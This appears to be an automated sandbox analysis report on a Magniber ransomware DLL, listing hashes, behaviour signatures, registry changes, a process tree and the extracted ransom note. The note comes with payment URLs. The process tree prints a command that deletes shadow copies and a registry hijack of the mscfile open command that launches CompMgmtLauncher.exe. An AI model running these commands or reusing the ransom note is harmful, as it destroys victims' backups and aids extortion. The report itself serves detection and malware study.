magniber | c070f4e29d6d33432b484bfba03b6d66eda0befda54600cb6d4fda4de27a44df

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 08:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

be3c7d928663380e88f3fb97bb17b2da_JaffaCakes118.dll
Size

20KB
MD5

be3c7d928663380e88f3fb97bb17b2da
SHA1

ebaed1467dc8f6b80c5f8bf0a596525979ea2825
SHA256

c070f4e29d6d33432b484bfba03b6d66eda0befda54600cb6d4fda4de27a44df
SHA512

6d7a286fa2c18fd0fc364d3a8b05538dec250887fb965cd3ce28747e8cfe2334ff8b88ddc03532e83ee804c5ac77a502b080a63a0f1b2a4468cb18b323b90017
SSDEEP

384:dLck6pO6NPXcNSHHNGopa6RmR2VZNtEK8H7TqeuB5xtfRlhrrYkQMeg75lb:Fv67u4HHEV6RmgNtEKReuB5xtffhrrY6

Score

10^/10

magniber defense_evasion discovery execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7280f6a8ae908810b2zmmmgwfp.zokkkgngjqrnmiv3gbm3xcflq2bfgoji7uvyrig6ds2ufrv45jcenzyd.onion/zmmmgwfp Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7280f6a8ae908810b2zmmmgwfp.sonwear.quest/zmmmgwfp http://7280f6a8ae908810b2zmmmgwfp.fewacts.space/zmmmgwfp http://7280f6a8ae908810b2zmmmgwfp.refersa.casa/zmmmgwfp http://7280f6a8ae908810b2zmmmgwfp.asmoral.site/zmmmgwfp Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://7280f6a8ae908810b2zmmmgwfp.zokkkgngjqrnmiv3gbm3xcflq2bfgoji7uvyrig6ds2ufrv45jcenzyd.onion/zmmmgwfp

http://7280f6a8ae908810b2zmmmgwfp.sonwear.quest/zmmmgwfp

http://7280f6a8ae908810b2zmmmgwfp.fewacts.space/zmmmgwfp

http://7280f6a8ae908810b2zmmmgwfp.refersa.casa/zmmmgwfp

http://7280f6a8ae908810b2zmmmgwfp.asmoral.site/zmmmgwfp

Signatures

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral1/memory/2396-0-0x0000000001EC0000-0x000000000225B000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2784	1704	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2612	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2616	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	1704	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3024	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2712	1704	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1192	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2484	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	348	1704	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2896	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1952	1704	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1340	1704	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	1704	vssadmin.exe	45

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (64) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JF1SL0MP\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\48RNM7SN\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\84790KOV\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BRLV7L3G\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini	DllHost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2396 set thread context of 1128	2396	rundll32.exe	19
PID 2396 set thread context of 1172	2396	rundll32.exe	20
PID 2396 set thread context of 1196	2396	rundll32.exe	21
PID 2396 set thread context of 1284	2396	rundll32.exe	25

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2612	vssadmin.exe
3024	vssadmin.exe
1760	vssadmin.exe
956	vssadmin.exe
2896	vssadmin.exe
1952	vssadmin.exe
2616	vssadmin.exe
2676	vssadmin.exe
1192	vssadmin.exe
2484	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "430650563"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d854e951ecdca4792ad3aea80f03551000000000200000000001066000000010000200000000cc4e85889295dce2b12947c8732c287fc7eb41ed7fd434c371601f361eccee0000000000e80000000020000200000009040c9b0b66716280f3705b9761e4e03d9a7f6dd199ad26c885faa5133e8dcdf200000002bfa884e1125882f04b4fe8b114bc5c380a5a8ae80b02ec6755f430dcbf45067400000006093c2d7012e8d6ed3228468ffb6c9065dc2756d74ce5783137438f337e76c9f7c9739952a0afd4ebdc03d2d1731039355101b661dab25bc5a87f88c652aa25c	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{34752E41-61F4-11EF-A3CD-E6140BA5C80C} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d854e951ecdca4792ad3aea80f03551000000000200000000001066000000010000200000002d802169354a155e02f8e7194b9c007a9c6138e280860afec19860fd19a27674000000000e8000000002000020000000dfd9bb2c814e044a36897010d44bed406860c4d702e2624806d716f445991772900000003d9824db39d1fccf7a4a6474e875ba4a3fa413d258efcff7a8ffd7736a4abc6885f977937d4de693a66197c8c240796ba26e6af25a0b8463e0b73eff1b6baf9c1a8b4904c7b7a4098883824b5391c1a3cee6f31050504ab20e066c514e61d28222cd245c02b1a5457f8249ceac59f82ba501eb4fa990740cd26a5e7dc97b9bacaa5885779022ddec71361b40c0b5c68240000000b1995f857305d08621c5cb588cdf0a562b6e18f6f729338d07c0b49e41b7c7907cc057ba52a2e3284ef4c5e6250a17e168fd4d7cd042bec0ebfeaef53db08ffa	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0ac820901f6da01	iexplore.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1692	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2396	rundll32.exe
2396	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2396	rundll32.exe
2396	rundll32.exe
2396	rundll32.exe
2396	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: SeIncreaseQuotaPrivilege	1652	WMIC.exe
Token: SeSecurityPrivilege	1652	WMIC.exe
Token: SeTakeOwnershipPrivilege	1652	WMIC.exe
Token: SeLoadDriverPrivilege	1652	WMIC.exe
Token: SeSystemProfilePrivilege	1652	WMIC.exe
Token: SeSystemtimePrivilege	1652	WMIC.exe
Token: SeProfSingleProcessPrivilege	1652	WMIC.exe
Token: SeIncBasePriorityPrivilege	1652	WMIC.exe
Token: SeCreatePagefilePrivilege	1652	WMIC.exe
Token: SeBackupPrivilege	1652	WMIC.exe
Token: SeRestorePrivilege	1652	WMIC.exe
Token: SeShutdownPrivilege	1652	WMIC.exe
Token: SeDebugPrivilege	1652	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1652	WMIC.exe
Token: SeRemoteShutdownPrivilege	1652	WMIC.exe
Token: SeUndockPrivilege	1652	WMIC.exe
Token: SeManageVolumePrivilege	1652	WMIC.exe
Token: 33	1652	WMIC.exe
Token: 34	1652	WMIC.exe
Token: 35	1652	WMIC.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1276	iexplore.exe
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1276	iexplore.exe
1276	iexplore.exe
2872	IEXPLORE.EXE
2872	IEXPLORE.EXE
2872	IEXPLORE.EXE
2872	IEXPLORE.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1196	Explorer.EXE
1196	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 1692	1128	taskhost.exe	31
PID 1128 wrote to memory of 1692	1128	taskhost.exe	31
PID 1128 wrote to memory of 1692	1128	taskhost.exe	31
PID 1128 wrote to memory of 1356	1128	taskhost.exe	32
PID 1128 wrote to memory of 1356	1128	taskhost.exe	32
PID 1128 wrote to memory of 1356	1128	taskhost.exe	32
PID 1128 wrote to memory of 1600	1128	taskhost.exe	33
PID 1128 wrote to memory of 1600	1128	taskhost.exe	33
PID 1128 wrote to memory of 1600	1128	taskhost.exe	33
PID 1128 wrote to memory of 1760	1128	taskhost.exe	34
PID 1128 wrote to memory of 1760	1128	taskhost.exe	34
PID 1128 wrote to memory of 1760	1128	taskhost.exe	34
PID 1760 wrote to memory of 1652	1760	cmd.exe	38
PID 1760 wrote to memory of 1652	1760	cmd.exe	38
PID 1760 wrote to memory of 1652	1760	cmd.exe	38
PID 1356 wrote to memory of 1276	1356	cmd.exe	39
PID 1356 wrote to memory of 1276	1356	cmd.exe	39
PID 1356 wrote to memory of 1276	1356	cmd.exe	39
PID 2396 wrote to memory of 1340	2396	rundll32.exe	40
PID 2396 wrote to memory of 1340	2396	rundll32.exe	40
PID 2396 wrote to memory of 1340	2396	rundll32.exe	40
PID 2396 wrote to memory of 1800	2396	rundll32.exe	41
PID 2396 wrote to memory of 1800	2396	rundll32.exe	41
PID 2396 wrote to memory of 1800	2396	rundll32.exe	41
PID 1800 wrote to memory of 1752	1800	cmd.exe	44
PID 1800 wrote to memory of 1752	1800	cmd.exe	44
PID 1800 wrote to memory of 1752	1800	cmd.exe	44
PID 1276 wrote to memory of 2872	1276	iexplore.exe	46
PID 1276 wrote to memory of 2872	1276	iexplore.exe	46
PID 1276 wrote to memory of 2872	1276	iexplore.exe	46
PID 1276 wrote to memory of 2872	1276	iexplore.exe	46
PID 2784 wrote to memory of 584	2784	cmd.exe	55
PID 2784 wrote to memory of 584	2784	cmd.exe	55
PID 2784 wrote to memory of 584	2784	cmd.exe	55
PID 2752 wrote to memory of 1488	2752	cmd.exe	57
PID 2752 wrote to memory of 1488	2752	cmd.exe	57
PID 2752 wrote to memory of 1488	2752	cmd.exe	57
PID 584 wrote to memory of 2400	584	CompMgmtLauncher.exe	58
PID 584 wrote to memory of 2400	584	CompMgmtLauncher.exe	58
PID 584 wrote to memory of 2400	584	CompMgmtLauncher.exe	58
PID 1488 wrote to memory of 3032	1488	CompMgmtLauncher.exe	60
PID 1488 wrote to memory of 3032	1488	CompMgmtLauncher.exe	60
PID 1488 wrote to memory of 3032	1488	CompMgmtLauncher.exe	60
PID 1196 wrote to memory of 1300	1196	Explorer.EXE	68
PID 1196 wrote to memory of 1300	1196	Explorer.EXE	68
PID 1196 wrote to memory of 1300	1196	Explorer.EXE	68
PID 1196 wrote to memory of 1068	1196	Explorer.EXE	69
PID 1196 wrote to memory of 1068	1196	Explorer.EXE	69
PID 1196 wrote to memory of 1068	1196	Explorer.EXE	69
PID 1068 wrote to memory of 2808	1068	cmd.exe	72
PID 1068 wrote to memory of 2808	1068	cmd.exe	72
PID 1068 wrote to memory of 2808	1068	cmd.exe	72
PID 2712 wrote to memory of 2620	2712	cmd.exe	77
PID 2712 wrote to memory of 2620	2712	cmd.exe	77
PID 2712 wrote to memory of 2620	2712	cmd.exe	77
PID 2620 wrote to memory of 2472	2620	CompMgmtLauncher.exe	78
PID 2620 wrote to memory of 2472	2620	CompMgmtLauncher.exe	78
PID 2620 wrote to memory of 2472	2620	CompMgmtLauncher.exe	78
PID 1172 wrote to memory of 1856	1172	Dwm.exe	82
PID 1172 wrote to memory of 1856	1172	Dwm.exe	82
PID 1172 wrote to memory of 1856	1172	Dwm.exe	82
PID 1172 wrote to memory of 1496	1172	Dwm.exe	83
PID 1172 wrote to memory of 1496	1172	Dwm.exe	83
PID 1172 wrote to memory of 1496	1172	Dwm.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1692
- C:\Windows\system32\cmd.exe
  cmd /c "start http://7280f6a8ae908810b2zmmmgwfp.sonwear.quest/zmmmgwfp^&2^&48611187^&64^&319^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://7280f6a8ae908810b2zmmmgwfp.sonwear.quest/zmmmgwfp&2&48611187&64&319&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1276 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2872
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1652

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1856
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1496
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2140

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\be3c7d928663380e88f3fb97bb17b2da_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1340
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1752
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1300
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2808

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops desktop.ini file(s)
- Modifies registry class
PID:1284
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2936
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2868
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2692

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
